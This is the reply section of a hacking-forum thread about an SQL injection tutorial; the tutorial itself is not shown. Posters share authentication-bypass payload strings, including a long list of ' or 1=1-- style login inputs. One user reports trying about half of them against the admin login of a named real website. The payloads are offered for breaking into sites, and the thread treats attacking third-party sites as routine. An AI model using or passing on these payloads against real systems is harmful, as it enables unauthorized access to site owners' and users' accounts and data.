My SQL injection complete tutorial :)

My SQL injection complete tutorial :) - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: My SQL injection complete tutorial :) (/Thread-My-SQL-injection-complete-tutorial)

Pages: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

RE: My SQL injection complete tutorial :) - King-Of-Hacker "PiatOs" - 05-16-2013

Hello bro.. the site given in ASCII was error... http://getyourwebsitehere.com/jswb/text_to_ascii.html

RE: My SQL injection complete tutorial :) - Phobia_mybb_import9011 - 05-16-2013

Thanks for this detailed tutorial Smile

RE: My SQL injection complete tutorial :) - NightFox109 - 05-16-2013

Thanks man, learned a few new things

RE: My SQL injection complete tutorial :) - V1P3R - 05-19-2013

(05-16-2013, 12:53 PM)King-Of-Hacker "PiatOs Wrote: Hello bro.. the site given in ASCII was error... http://getyourwebsitehere.com/jswb/text_to_ascii.html

i'll post another website once on my pc:

RE: My SQL injection complete tutorial :) - Hackthebeans - 05-25-2013

Thanks mate the best tutorial available on the internet about SQL Injection Smile

RE: My SQL injection complete tutorial :) - RogueCoder - 05-25-2013

Really nice tutorial! A couple of things I would like to point out though is

1. You will only be able to access the information_schema if the current database user has read access to it
2. 'or'1=1' wont work. if you need to use either
'||1=1
'||'x'=x

A few other payloads I'v found to work when trying to bypass authentication

Code:
'-0||'x'='x
'-0||1#
'-0#
'||1#

RE: My SQL injection complete tutorial :) - apmahmad - 05-29-2013

I got to the admin log in page but i got this
Not Found

The requested URL /adminpage/admin-request was not found on this server.
Apache/2.2.14 (Ubuntu) Server at www.leadacidbatteryinfo.org Port 80
i tried admin name:admin
and for the password iam using free hivij but it is good
so what we do here is in the username we always type "Admin"
and for our password we type our sql injection
i tried
' or '1'='1
' or 'x'='x
' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --
'or'1=1'
i tried like half of them
and ny facebook name is my same name Apm A hmad

RE: My SQL injection complete tutorial :) - Hackthebeans - 05-29-2013

If I could ask is there any NOSQL Injection attack which I could find in here ?

Thanks